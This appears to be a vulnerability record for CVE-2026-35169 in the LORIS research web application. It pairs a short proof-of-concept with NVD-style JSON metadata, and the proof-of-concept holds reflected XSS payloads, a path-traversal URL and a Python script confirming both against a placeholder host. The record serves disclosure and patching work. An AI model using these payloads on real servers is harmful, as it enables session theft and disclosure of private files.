CVE-2026-35169

# CVE-2026-35169 PoC Example # 1. Reflected XSS Payload # Attacker sends this link to a victim: # https://target-loris.com/help_editor/?file=<script>alert(document.cookie)</script> # 2. Arbitrary Markdown File Download # Attacker requests a sensitive file (assuming sensitive.md exists): # https://target-loris.com/help_editor?file=../../../../path/to/sensitive.md import requests target_url = "https://target-loris.com/help_editor" xss_payload = "<img src=x onerror=alert('XSS')>" file_payload = "../../../../config/database.md" # Verify XSS response = requests.get(f"{target_url}?file={xss_payload}") if xss_payload in response.text: print("XSS Vulnerability Confirmed") # Verify File Download response = requests.get(f"{target_url}?file={file_payload}") if "sensitive_content" in response.text: print("Arbitrary File Download Confirmed")

{"cve": {"id": "CVE-2026-35169", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.447", "lastModified": "2026-04-21T20:16:53.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From to before 27.0.3 and 28.0.1, the help_editor module of LORIS did not properly sanitize some user supplied variables which could result in a reflected cross-site scripting attack if a user is tricked into following an invalid link. The same input vector could also allow an attacker to download arbitrary markdown files on an unpatched server. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-552"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.10", "versionEndIncluding": "27.0.2", "matchCriteriaId": "4AEE921E-77AD-44F9-AC03-DCD447CF3897"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-j2p3-58m2-v6q3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}